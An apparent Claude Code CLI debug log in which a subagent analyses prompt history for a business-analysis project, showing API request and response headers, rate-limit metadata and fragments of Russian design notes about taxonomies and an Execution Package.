\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u043d\u0430 \u043e\u0434\u0438\u043d\\n   \u043f\u0440\u043e\u043c\u043f\u0442, \u0442\u043e \u0435\u0441\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u0432\u0445\u043e\u0434 \u2192 \u0440\u0430\u0431\u043e\u0442\u0430 \u2192 \u0432\u044b\u0445\u043e\u0434\u00bb \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n7. **\u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u043f\u044f\u0442\u0430\u044f \u2014 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f.** \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b,\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432\\n   \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f: \u043e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u044b, \u0430 \u0435\u0451 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\\n   ([`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u00a77).\\n8. **\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0430.** \u0423\u0440\u043e\u0432\u043d\u0438\\n   `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function` \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432 Source \u0447\u0438\u0441\u0442\u044b\u043c\\n   \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u043e\u043c\\n   ([`standards/product-taxonomy-reference.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/product-taxonomy-reference.md));\\n   \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u043f\u043e\u043a\u0435.\\n9. **Execution Package \u2014 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.** \u0412 \u043f\u0430\u043a\u0435\u0442 \u0443\u0445\u043e\u0434\u044f\u0442 \u0441\u0435\u043c\u044c\\n   \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0444\u0430\u0439\u043b\u043e\u0432; \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f. \u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439\\n   `SKILL.md` \u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d: \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043e\\n   \u0432\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0432 \u043d\u0451\u043c \u043d\u0435\u0442, \u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0441\u043b\u043e\u0451\u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0432\u043e frontmatter\\n   ([`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md), \u00a73).\\n10. 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[STDOUT] [log_71136a, request-id: \"req_011CfXMhubGLd23PXdvDRkNR\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 937ms\n[2026-09-29T07:44:47.058Z] [STDOUT] [log_71136a] response start {\n[2026-09-29T07:44:47.065Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:47.074Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:47.082Z] [STDOUT]   headers: {\n[2026-09-29T07:44:47.084Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:47.089Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:47.094Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:47.101Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:47.105Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:47.111Z] [STDOUT]     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\"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:47.163Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:47.167Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:47.171Z] [STDOUT]     \"cf-ray\": \"a4295d504caf29ad-FRA\",\n[2026-09-29T07:44:47.175Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:47.182Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:47.187Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:47.191Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:47.197Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:47 GMT\",\n[2026-09-29T07:44:47.205Z] [STDOUT]     \"request-id\": \"req_011CfXMhubGLd23PXdvDRkNR\",\n[2026-09-29T07:44:47.217Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:47.219Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:47.221Z] [STDOUT]     traceresponse: \"00-5199dffda6f699f2f86a87674e87d66b-bf7a49b9eb9fe17c-01\",\n[2026-09-29T07:44:47.224Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:47.228Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:47.231Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:47.234Z] [STDOUT]   },\n[2026-09-29T07:44:47.237Z] [STDOUT]   durationMs: 937,\n[2026-09-29T07:44:47.242Z] [STDOUT] }\n[2026-09-29T07:44:47.249Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:47.253Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:47 GMT\",\n[2026-09-29T07:44:47.260Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:47.264Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:47.267Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:47.271Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:47.276Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:47.280Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:47.285Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:47.289Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:47.292Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:47.297Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:47.300Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:47.305Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:47.308Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:47.319Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:47.323Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:47.328Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.332Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:47.338Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:47.343Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:47.347Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:47.351Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.355Z] [STDOUT]   \"request-id\": \"req_011CfXMhubGLd23PXdvDRkNR\",\n[2026-09-29T07:44:47.359Z] [STDOUT]   \"traceresponse\": \"00-5199dffda6f699f2f86a87674e87d66b-bf7a49b9eb9fe17c-01\",\n[2026-09-29T07:44:47.363Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:47.365Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:47.369Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:47.373Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:47.378Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:47.380Z] [STDOUT]   \"cf-ray\": \"a4295d504caf29ad-FRA\",\n[2026-09-29T07:44:47.383Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:47.387Z] [STDOUT] [log_71136a] response parsed {\n[2026-09-29T07:44:47.392Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:47.395Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:47.402Z] [STDOUT]   body: X {\n[2026-09-29T07:44:47.408Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:47.415Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:47.419Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:47.423Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:47.433Z] [STDOUT]     },\n[2026-09-29T07:44:47.443Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:47.446Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:47.450Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:47.454Z] [STDOUT]   },\n[2026-09-29T07:44:47.460Z] [STDOUT]   durationMs: 938,\n[2026-09-29T07:44:47.469Z] [STDOUT] }\n[2026-09-29T07:44:47.479Z] [STDOUT] [log_d2e982, request-id: \"req_011CfXMhvUr4Dk8dsmtwRBDm\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 801ms\n[2026-09-29T07:44:47.483Z] [STDOUT] [log_d2e982] response start {\n[2026-09-29T07:44:47.487Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:47.499Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:47.506Z] [STDOUT]   headers: {\n[2026-09-29T07:44:47.510Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:47.518Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:47.525Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:47.547Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:47.551Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:47.556Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.568Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:47.578Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:47.585Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:47.589Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:47.591Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:47.594Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:47.597Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:47.605Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.611Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:47.622Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:47.625Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:47.636Z] [STDOUT]     \"cf-ray\": \"a4295d518fd34d8b-FRA\",\n[2026-09-29T07:44:47.640Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:47.646Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:47.653Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:47.656Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:47.661Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:47 GMT\",\n[2026-09-29T07:44:47.664Z] [STDOUT]     \"request-id\": \"req_011CfXMhvUr4Dk8dsmtwRBDm\",\n[2026-09-29T07:44:47.671Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:47.674Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:47.677Z] [STDOUT]     traceresponse: \"00-16c5d864b374ff9315a2a772feec31a2-9c0d5d8657d20c71-01\",\n[2026-09-29T07:44:47.683Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:47.689Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:47.691Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:47.697Z] [STDOUT]   },\n[2026-09-29T07:44:47.704Z] [STDOUT]   durationMs: 801,\n[2026-09-29T07:44:47.707Z] [STDOUT] }\n[2026-09-29T07:44:47.710Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:47.715Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:47 GMT\",\n[2026-09-29T07:44:47.719Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:47.723Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:47.727Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:47.730Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:47.738Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:47.745Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:47.749Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:47.755Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:47.766Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:47.772Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:47.776Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:47.779Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:47.787Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:47.795Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:47.799Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:47.803Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.808Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:47.820Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:47.824Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:47.844Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:47.851Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:47.853Z] [STDOUT]   \"request-id\": \"req_011CfXMhvUr4Dk8dsmtwRBDm\",\n[2026-09-29T07:44:47.859Z] [STDOUT]   \"traceresponse\": \"00-16c5d864b374ff9315a2a772feec31a2-9c0d5d8657d20c71-01\",\n[2026-09-29T07:44:47.862Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:47.865Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:47.883Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:47.890Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:47.893Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:47.897Z] [STDOUT]   \"cf-ray\": \"a4295d518fd34d8b-FRA\",\n[2026-09-29T07:44:47.904Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:47.912Z] [STDOUT] [log_d2e982] response parsed {\n[2026-09-29T07:44:47.920Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:47.926Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:47.931Z] [STDOUT]   body: X {\n[2026-09-29T07:44:47.943Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:47.949Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:47.955Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:47.959Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:47.961Z] [STDOUT]     },\n[2026-09-29T07:44:47.966Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:47.971Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:47.979Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:47.983Z] [STDOUT]   },\n[2026-09-29T07:44:47.991Z] [STDOUT]   durationMs: 801,\n[2026-09-29T07:44:47.995Z] [STDOUT] }\n[2026-09-29T07:44:48.093Z] [INFO] {\n[2026-09-29T07:44:48.093Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"message\": {\n[2026-09-29T07:44:48.093Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:48.093Z] [INFO]     \"content\": [\n[2026-09-29T07:44:48.093Z] [INFO]       {\n[2026-09-29T07:44:48.093Z] [INFO]         \"tool_use_id\": \"toolu_01TTaEU1XTXdfzPGiXzPHnyo\",\n[2026-09-29T07:44:48.093Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:48.093Z] [INFO]         \"content\": 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\"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"uuid\": \"cb84c1ac-7543-4042-a0f2-dd7af7fb6755\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:48.090Z\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:48.093Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:48.093Z] [INFO] }\n[2026-09-29T07:44:48.137Z] [STDOUT] [log_7a9a35] sending request {\n[2026-09-29T07:44:48.147Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:48.153Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:48.156Z] [STDOUT]   options: {\n[2026-09-29T07:44:48.164Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:48.167Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:48.170Z] [STDOUT]     body: {\n[2026-09-29T07:44:48.174Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:48.176Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:48.183Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:48.185Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:48.188Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:48.193Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:48.200Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:48.207Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:48.216Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:48.220Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:48.225Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:48.229Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:48.235Z] [STDOUT]     },\n[2026-09-29T07:44:48.242Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:48.247Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:48.251Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:48.254Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:48.259Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:48.262Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:48.268Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:48.270Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:48.274Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:48.280Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:48.283Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:48.292Z] [STDOUT]     },\n[2026-09-29T07:44:48.296Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:48.301Z] [STDOUT]   },\n[2026-09-29T07:44:48.306Z] [STDOUT]   headers: {\n[2026-09-29T07:44:48.311Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:48.315Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:48.322Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:48.332Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:48.336Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:48.342Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:48.347Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:48.349Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:48.358Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:48.361Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:48.366Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:48.374Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1265\",\n[2026-09-29T07:44:48.378Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:48.386Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:48.397Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:48.399Z] [STDOUT]     \"x-client-request-id\": \"0324f6a4-27ce-412e-a2c6-8de1b7615fc4\",\n[2026-09-29T07:44:48.402Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:48.407Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:48.410Z] [STDOUT]     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([ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)).\\n    \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e: 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438\\n    \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\u043e \u0432\u0441\u0435\u0445 24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445.\\n\\n12. **\u0410\u043a\u0442\u043e\u0440 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0435\u0442\u0441\u044f.** `\u0410\u043a\u0442\u043e\u0440` \u2014 \u043e\u0431\u0449\u0435\u0435 